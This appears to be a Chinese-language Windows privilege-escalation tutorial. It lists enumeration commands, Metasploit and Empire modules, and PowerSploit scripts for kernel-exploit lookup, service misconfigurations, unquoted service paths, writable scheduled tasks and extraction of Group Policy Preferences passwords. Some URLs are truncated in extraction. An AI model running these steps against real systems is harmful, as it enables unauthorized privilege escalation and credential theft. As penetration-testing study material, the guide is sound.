Windows提权 详细操作步骤.pdfVIP

windows提权 Windows常用的提权方法有：系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略 首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权 等。 1.基础命令 # 查看系统信息  systeminfo  | findstr /B /C:OS 名称 /C:OS 版本  # 主机名  hostname  # 环境变量  set  # 查看用户信息  net user  net1 user  # 查看服务pid号  tasklist /svc  | find TermService  netstat ‐ano  | find 1488  # 查看系统名  wmic os get caption  # 查看补丁信息  wmic qfe get Description,HotFixID,InstalledOn  | findstr /C:KB4013389 /C:KB958644  # 查看当前安装程序  wmic product get name,version  2.系统内核溢出漏洞提权 此提权方法即是通过系统本身存在的一些漏洞，未曾打相应的补丁而暴露出来的提权方法，依托可以 提升权限的EXP和它们的补丁编号，进行提升权限。 下面是几个方便查找相应补丁漏洞的辅助查询页面： /ianxtianxt/win‐exp‐  /SecWiki/windows‐kernel‐exploits  #手工查找补丁情况  systeminfo  wmic qfe get Caption,Description,HotFixID,InstalledOn  #MSF后渗透扫描  post/windows/gather/enum_patches  #Powershell扫描  Import‐Module C:\Sherlock.ps1  Find‐AllVulns  3.系统配置错误提权 #Empire内置模块  usemodule privesc/powerup/allchecks  execute  (1) 系统服务权限配置错误 Windows在系统启动时，会伴随着一些高权服务启动，倘若某些服务存在一些漏洞，那么就能够借 此服务进行权限劫持 实现方法可借助： 1.Powershell中的PowerUp脚本  /PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1  2.Metasploit中的攻击模块   #需要提前获取一个session  exploit/windows/local/service_permissions  (2) 可信任服务路径漏洞 如果一个服务的可执行文件的路径没有被双引号引起来且包含空格，那么这个服务就是有漏洞的 MSF使用实战： #寻找存在漏洞的服务  wmic service get name,displayname,pathname,startmode  | findstr /i Auto  | findstr /i /v  C:\Windows\\  | findstr /i /v   #msf攻击模块  exploit/windows/local/trusted_service_path  #正常接收到会话后，不久就会自动断开连接，需要开启命令自动迁移进程  set AutoRunScript migrate ‐f  (3) 计划任务 如果攻击者对以高权限运行的任务所在的目录具有写权限，就可以使用恶意程序覆盖原来的程序，这 样在下次计划执行时，就会以高权限来运行恶意程序。 #查看计算机的计划任务  schtasks /query /fo LIST /v  #查看指定目录的权限配置情况  accesschk.exe ‐dqv D:\test ‐accepteula  4.组策略首选项提权 组策略首选项(Group Policy Preferences,GPP)，详情见博客： https///qqarticle/details/104344105 #Powershell获取cpassword  Get‐GPPPassword.ps1  #Msf  post/windows/gather/credentials/gpp